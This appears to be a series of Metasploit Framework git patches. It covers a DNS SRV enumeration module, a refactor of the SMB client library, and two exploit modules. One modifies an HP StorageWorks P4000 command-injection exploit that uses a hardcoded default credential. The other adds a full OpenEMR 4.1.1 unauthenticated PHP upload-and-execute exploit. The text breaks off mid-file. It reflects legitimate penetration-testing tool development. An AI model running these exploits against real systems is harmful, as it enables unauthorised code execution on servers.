|ip| record = {} srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] record[:host] = srv.host.gsub(/\.$/,'') record[:type] = "SRV" - record[:address] = srv.host + record[:address] = ip[:address] record[:srv] = srvt record[:service] = srv_info[0] record[:proto] = srv_info[1] record[:port] = srv.port record[:priority] = srv.priority results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") - else - get_ip(srv.host.gsub(/\.$/,'')).each do |ip| - record = {} - srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] - record[:host] = srv.host.gsub(/\.$/,'') - record[:type] = "SRV" - record[:address] = ip[:address] - record[:srv] = srvt - record[:service] = srv_info[0] - record[:proto] = srv_info[1] - record[:port] = srv.port - record[:priority] = srv.priority - results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") - end + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") end end end @@ -166,7 +169,6 @@ class Metasploit3 < Msf::Auxiliary return results end - #--------------------------------------------------------------------------------- def get_ip(host) results = [] query = @res.search(host, "A") @@ -199,26 +201,24 @@ class Metasploit3 < Msf::Auxiliary end return results end - #--------------------------------------------------------------------------------- + def switchdns(ns) vprint_status("Enumerating SRV Records on: #{ns}") @res.nameserver=(ns) @nsinuse = ns end - #--------------------------------------------------------------------------------- def get_ns(target) results = [] query = @res.query(target, "NS") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| - get_ip(rr.nsdname).each do |r| - record = {} - record[:host] = rr.nsdname.gsub(/\.$/,'') - record[:type] = "NS" - record[:address] = r[:address].to_s - results << record - end + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record end end return results From d1ba8604099e7ebf8c6951aa4ea745e1e8daa860 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 16:20:33 +0100 Subject: [PATCH 252/448] changing filename for dns_srv --- modules/auxiliary/gather/dns_srv.rb | 227 ---------------------------- 1 file changed, 227 deletions(-) delete mode 100644 modules/auxiliary/gather/dns_srv.rb diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb deleted file mode 100644 index aeb3eef1c5..0000000000 --- a/modules/auxiliary/gather/dns_srv.rb +++ /dev/null @@ -1,227 +0,0 @@ -## -# ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require "net/dns/resolver" -require 'rex' - -class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'DNS Common Service Record Enumeration', - 'Description' => %q{ - This module enumerates common DNS service records in a given domain. By setting - the ALL_DNS to true, all the name servers of a given domain are used for - enumeration. Otherwise only the system dns is used for enumration. in order to get - all the available name servers for the given domain the SOA and NS records are - queried. In order to convert from domain names to IP addresses queries for A and - AAAA (IPv6) records are used. - }, - 'Author' => [ 'Carlos Perez ' ], - 'License' => BSD_LICENSE - )) - - register_options( - [ - OptString.new('DOMAIN', [ true, "The target domain name."]), - OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) - ], self.class) - - register_advanced_options( - [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) - ], self.class) - end - - def run - records = [] - @res = Net::DNS::Resolver.new() - if datastore['RETRY'] - @res.retry = datastore['RETRY'].to_i - end - - if datastore['RETRY_INTERVAL'] - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i - end - - print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") - records = records + srvqry(datastore['DOMAIN']) - if datastore["ALL_NS"] - get_soa(datastore['DOMAIN']).each do |s| - switchdns(s[:address]) - records = records + srvqry(datastore['DOMAIN']) - end - get_ns(datastore['DOMAIN']).each do |ns| - switchdns(ns[:address]) - records =records + srvqry(datastore['DOMAIN']) - end - end - records.uniq! - records.each do |r| - print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") - report_host( - :host => r[:address].to_s, - :name => r[:host] - ) - report_service( - :host=> r[:address].to_s, - :port => r[:port].to_i, - :proto => r[:proto], - :name => r[:service], - :host_name => r[:host] - ) - end - - end - - def get_soa(target) - results = [] - query = @res.query(target, "SOA") - return results if not query - (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - if Rex::Socket.dotted_ip?(rr.mname) - record = {} - record[:host] = rr.mname - record[:type] = "SOA" - record[:address] = rr.mname - results << record - else - get_ip(rr.mname).each do |ip| - record = {} - record[:host] = rr.mname.gsub(/\.$/,'') - record[:type] = "SOA" - record[:address] = ip[:address].to_s - results << record - end - end - end - return results - end - - def srvqry(dom) - results = [] - #Most common SRV Records - srvrcd = [ - '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', - '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', - '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', - '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', - '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', - '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', - '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', - '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', - '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', - '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', - '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', - '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', - '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', - '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', - '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' - ] - - srvrcd.each do |srvt| - trg = "#{srvt}#{dom}" - begin - - query = @res.query(trg , Net::DNS::SRV) - next unless query - query.answer.each do |srv| - if Rex::Socket.dotted_ip?(srv.host) - record = {} - srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] - record[:host] = srv.host.gsub(/\.$/,'') - record[:type] = "SRV" - record[:address] = srv.host - record[:srv] = srvt - record[:service] = srv_info[0] - record[:proto] = srv_info[1] - record[:port] = srv.port - record[:priority] = srv.priority - results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") - else - get_ip(srv.host.gsub(/\.$/,'')).each do |ip| - record = {} - srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] - record[:host] = srv.host.gsub(/\.$/,'') - record[:type] = "SRV" - record[:address] = ip[:address] - record[:srv] = srvt - record[:service] = srv_info[0] - record[:proto] = srv_info[1] - record[:port] = srv.port - record[:priority] = srv.priority - results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") - end - end - end - rescue - end - end - return results - end - - def get_ip(host) - results = [] - query = @res.search(host, "A") - if (query) - query.answer.each do |rr| - if rr.type == "CNAME" - results = results + get_ip(rr.cname) - else - record = {} - record[:host] = host - record[:type] = "AAAA" - record[:address] = rr.address.to_s - results << record - end - end - end - query1 = @res.search(host, "AAAA") - if (query1) - query1.answer.each do |rr| - if rr.type == "CNAME" - results = results + get_ip(rr.cname) - else - record = {} - record[:host] = host - record[:type] = "AAAA" - record[:address] = rr.address.to_s - results << record - end - end - end - return results - end - - def switchdns(ns) - vprint_status("Enumerating SRV Records on: #{ns}") - @res.nameserver=(ns) - @nsinuse = ns - end - - def get_ns(target) - results = [] - query = @res.query(target, "NS") - return results if not query - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| - get_ip(rr.nsdname).each do |r| - record = {} - record[:host] = rr.nsdname.gsub(/\.$/,'') - record[:type] = "NS" - record[:address] = r[:address].to_s - results << record - end - end - return results - end -end - From 829cf0f076d1398518a73cf6de38923ee20ac6a6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 16:20:55 +0100 Subject: [PATCH 253/448] name changed to dns_srv_enum --- modules/auxiliary/gather/dns_srv_enum.rb | 227 +++++++++++++++++++++++ 1 file changed, 227 insertions(+) create mode 100644 modules/auxiliary/gather/dns_srv_enum.rb diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb new file mode 100644 index 0000000000..aeb3eef1c5 --- /dev/null +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -0,0 +1,227 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Common Service Record Enumeration', + 'Description' => %q{ + This module enumerates common DNS service records in a given domain. By setting + the ALL_DNS to true, all the name servers of a given domain are used for + enumeration. Otherwise only the system dns is used for enumration. in order to get + all the available name servers for the given domain the SOA and NS records are + queried. In order to convert from domain names to IP addresses queries for A and + AAAA (IPv6) records are used. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name."]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) + ], self.class) + end + + def run + records = [] + @res = Net::DNS::Resolver.new() + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") + records = records + srvqry(datastore['DOMAIN']) + if datastore["ALL_NS"] + get_soa(datastore['DOMAIN']).each do |s| + switchdns(s[:address]) + records = records + srvqry(datastore['DOMAIN']) + end + get_ns(datastore['DOMAIN']).each do |ns| + switchdns(ns[:address]) + records =records + srvqry(datastore['DOMAIN']) + end + end + records.uniq! + records.each do |r| + print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) + report_service( + :host=> r[:address].to_s, + :port => r[:port].to_i, + :proto => r[:proto], + :name => r[:service], + :host_name => r[:host] + ) + end + + end + + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def srvqry(dom) + results = [] + #Most common SRV Records + srvrcd = [ + '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', + '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', + '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', + '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', + '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', + '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', + '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', + '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', + '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', + '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', + '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', + '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', + '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', + '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', + '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' + ] + + srvrcd.each do |srvt| + trg = "#{srvt}#{dom}" + begin + + query = @res.query(trg , Net::DNS::SRV) + next unless query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do |ip| + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = ip[:address] + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") + end + end + end + rescue + end + end + return results + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + def switchdns(ns) + vprint_status("Enumerating SRV Records on: #{ns}") + @res.nameserver=(ns) + @nsinuse = ns + end + + def get_ns(target) + results = [] + query = @res.query(target, "NS") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + return results + end +end + From 221ce22f53e9f80b6ecb4dcff28b817870413639 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 19:01:58 +0100 Subject: [PATCH 254/448] make msftidy happy --- modules/exploits/multi/misc/hp_vsa_exec.rb | 53 ++++++++++++++++++---- 1 file changed, 44 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index d9a7bbab08..b9aae48bdf 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution", 'Description' => %q{ This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on - versions prior to 9.5. By using a default account credential, it is possible + versions prior to 9.5. By using a default account credential, it is possible to inject arbitrary commands as part of a ping request via port 13838. }, 'License' => MSF_LICENSE, @@ -50,9 +50,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Targets' => [ - ['HP VSA prior to 9.5', {}] + [ 'Automatic', {} ], + [ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ], + [ 'HP VSA 9', { 'Version' => '9.0.0' } ] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => "Nov 11 2011", 'DefaultTarget' => 0)) @@ -75,20 +77,53 @@ class Metasploit3 < Msf::Exploit::Remote pkt end + def get_target + if target.name !~ /Automatic/ + return target + end + + # Login at 8.5.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res=~ /Login/ + return targets[1] + end + + # Login at 9.0.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res =~ /Login/ + return targets[2] + end + + fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") + end def exploit connect - # Login packet - print_status("#{rhost}:#{rport} Sending login packet") - packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") - sock.put(packet) - res = sock.get_once - vprint_status(Rex::Text.to_hex_dump(res)) if res + if target.name =~ /Automatic/ + my_target = get_target + print_good("#{rhost}:#{rport} - Target #{my_target.name} found") + else + my_target = target + print_status("#{rhost}:#{rport} Sending login packet") + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + end # Command execution print_status("#{rhost}:#{rport} Sending injection") data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/" + data << "64/5/" if my_target.name =~ /9/ packet = generate_packet(data) sock.put(packet) res = sock.get_once From a19da61177097efeae07e2c5b72eec2cb2a772a2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 16 Feb 2013 00:53:28 +0100 Subject: [PATCH 255/448] deleting trailing comma --- modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 4d18e2dc74..18c7eb7019 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2013-1625' ], - ], + ] ) register_options([Opt::RPORT(31001)], self.class) From 6b1bb9e1e8f3c31dbdc1a8e21b0cdd6a80de8c1b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 16 Feb 2013 13:11:46 +0100 Subject: [PATCH 256/448] Added module for OSVDB 90222 --- .../unix/webapp/openemr_upload_exec.rb | 132 ++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 modules/exploits/unix/webapp/openemr_upload_exec.rb diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb new file mode 100644 index 0000000000..41957608bf --- /dev/null +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -0,0 +1,132 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "OpenEMR PHP File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the + ofc_upload_image.php file from the openflashchart library, a malicious user can + upload a file to the tmp-upload-images directory without any authentication, which + results in arbitrary code execution. The module has been tested successfully on + OpenEMR 4.1.1 over Ubuntu 10.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gjoko Krstic ', # Discovery, PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '90222' ], + [ 'BID', '37314' ], + [ 'EBD', '24492' ], + [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ], + [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['OpenEMR 4.1.1', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) + ], self.class) + end + + def check + uri = target_uri.path + peer = "#{rhost}:#{rport}" + + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "interface", "login", "login.php") + }) + + if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "4.1.1" + return Exploit::CheckCode::Safe + end + + # Check for vulnerable component + print_status("#{peer} - Trying to detect the vulnerable component") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"), + }) + + if res and res.code == 200 and res.body =~ /Saving your image to/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + uri = target_uri.path + + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alpha(rand(10) + 5) + '.php' + my_payload = payload.encoded + + print_status("#{peer} - Sending PHP payload (#{payload_name})") + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}", + 'headers' => { "Content-Length" => my_payload.length.to_s }, + 'data' => my_payload + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ + fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") + end + + register_file_for_cleanup(payload_name) + + print_status("#{peer} - Executing PHP payload (#{payload_name})") + # Execute our payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name), + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + end + end + +end From a902480576a904f464b43a365cd002c81361eaf6 Mon Sep 17 00:00:00 2001 From: James Lee Date: Sun, 17 Feb 2013 06:57:35 -0600 Subject: [PATCH 257/448] Break out subclasses into their own files --- lib/rex/proto/smb/simpleclient.rb | 154 +------------------- lib/rex/proto/smb/simpleclient/open_file.rb | 106 ++++++++++++++ lib/rex/proto/smb/simpleclient/open_pipe.rb | 57 ++++++++ 3 files changed, 168 insertions(+), 149 deletions(-) create mode 100644 lib/rex/proto/smb/simpleclient/open_file.rb create mode 100644 lib/rex/proto/smb/simpleclient/open_pipe.rb diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index 454a3c694e..c0cd9d02e9 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -12,6 +12,8 @@ require 'rex/proto/smb/evasions' require 'rex/proto/smb/crypt' require 'rex/proto/smb/utils' require 'rex/proto/smb/client' +require 'rex/proto/smb/simpleclient/open_file' +require 'rex/proto/smb/simpleclient/open_pipe' # Some short-hand class aliases CONST = Rex::Proto::SMB::Constants @@ -20,157 +22,11 @@ UTILS = Rex::Proto::SMB::Utils XCEPT = Rex::Proto::SMB::Exceptions EVADE = Rex::Proto::SMB::Evasions - - class OpenFile - attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size - - def initialize(client, name, tree_id, file_id) - self.client = client - self.name = name - self.tree_id = tree_id - self.file_id = file_id - self.chunk_size = 48000 - end - - def delete - begin - self.close - rescue - end - self.client.delete(self.name, self.tree_id) - end - - # Close this open file - def close - self.client.close(self.file_id, self.tree_id) - end - - # Read data from the file - def read(length = nil, offset = 0) - if (length == nil) - data = '' - fptr = offset - ok = self.client.read(self.file_id, fptr, self.chunk_size) - while (ok and ok['Payload'].v['DataLenLow'] > 0) - buff = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - data << buff - if ok['Payload'].v['Remaining'] == 0 - break - end - fptr += ok['Payload'].v['DataLenLow'] - - begin - ok = self.client.read(self.file_id, fptr, self.chunk_size) - rescue XCEPT::ErrorCode => e - case e.error_code - when 0x00050001 - # Novell fires off an access denied error on EOF - ok = nil - else - raise e - end - end - end - - return data - else - ok = self.client.read(self.file_id, offset, length) - data = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - return data - end - end - - def << (data) - self.write(data) - end - - # Write data to the file - def write(data, offset = 0) - # Track our offset into the remote file - fptr = offset - - # Duplicate the data so we can use slice! - data = data.dup - - # Take our first chunk of bytes - chunk = data.slice!(0, self.chunk_size) - - # Keep writing data until we run out - while (chunk.length > 0) - ok = self.client.write(self.file_id, fptr, chunk) - cl = ok['Payload'].v['CountLow'] - - # Partial write, push the failed data back into the queue - if (cl != chunk.length) - data = chunk.slice(cl - 1, chunk.length - cl) + data - end - - # Increment our painter and grab the next chunk - fptr += cl - chunk = data.slice!(0, self.chunk_size) - end - end - end - - class OpenPipe < OpenFile - - # Valid modes are: 'trans' and 'rw' - attr_accessor :mode - - def initialize(*args) - super(*args) - self.mode = 'rw' - @buff = '' - end - - def read_buffer(length, offset=0) - length ||= @buff.length - @buff.slice!(0, length) - end - - def read(length = nil, offset = 0) - case self.mode - when 'trans' - read_buffer(length, offset) - when 'rw' - super(length, offset) - else - raise ArgumentError - end - end - - def write(data, offset = 0) - case self.mode - - when 'trans' - write_trans(data, offset) - when 'rw' - super(data, offset) - else - raise ArgumentError - end - end - - def write_trans(data, offset=0) - ack = self.client.trans_named_pipe(self.file_id, data) - doff = ack['Payload'].v['DataOffset'] - dlen = ack['Payload'].v['DataCount'] - @buff << ack.to_s[4+doff, dlen] - end - end - - # Public accessors -attr_accessor :last_error +attr_accessor :last_error # Private accessors -attr_accessor :socket, :client, :direct, :shares, :last_share +attr_accessor :socket, :client, :direct, :shares, :last_share # Pass the socket object and a boolean indicating whether the socket is netbios or cifs def initialize(socket, direct = false) @@ -180,7 +36,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share self.shares = { } end - def login( name = '', user = '', pass = '', domain = '', + def login(name = '', user = '', pass = '', domain = '', verify_signature = false, usentlmv2 = false, usentlm2_session = true, send_lm = true, use_lanman_key = false, send_ntlm = true, native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0', spnopt = {}) diff --git a/lib/rex/proto/smb/simpleclient/open_file.rb b/lib/rex/proto/smb/simpleclient/open_file.rb new file mode 100644 index 0000000000..66696dfae4 --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_file.rb @@ -0,0 +1,106 @@ +# -*- coding: binary -*- +module Rex +module Proto +module SMB +class SimpleClient + +class OpenFile + attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size + + def initialize(client, name, tree_id, file_id) + self.client = client + self.name = name + self.tree_id = tree_id + self.file_id = file_id + self.chunk_size = 48000 + end + + def delete + begin + self.close + rescue + end + self.client.delete(self.name, self.tree_id) + end + + # Close this open file + def close + self.client.close(self.file_id, self.tree_id) + end + + # Read data from the file + def read(length = nil, offset = 0) + if (length == nil) + data = '' + fptr = offset + ok = self.client.read(self.file_id, fptr, self.chunk_size) + while (ok and ok['Payload'].v['DataLenLow'] > 0) + buff = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + data << buff + if ok['Payload'].v['Remaining'] == 0 + break + end + fptr += ok['Payload'].v['DataLenLow'] + + begin + ok = self.client.read(self.file_id, fptr, self.chunk_size) + rescue XCEPT::ErrorCode => e + case e.error_code + when 0x00050001 + # Novell fires off an access denied error on EOF + ok = nil + else + raise e + end + end + end + + return data + else + ok = self.client.read(self.file_id, offset, length) + data = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + return data + end + end + + def << (data) + self.write(data) + end + + # Write data to the file + def write(data, offset = 0) + # Track our offset into the remote file + fptr = offset + + # Duplicate the data so we can use slice! + data = data.dup + + # Take 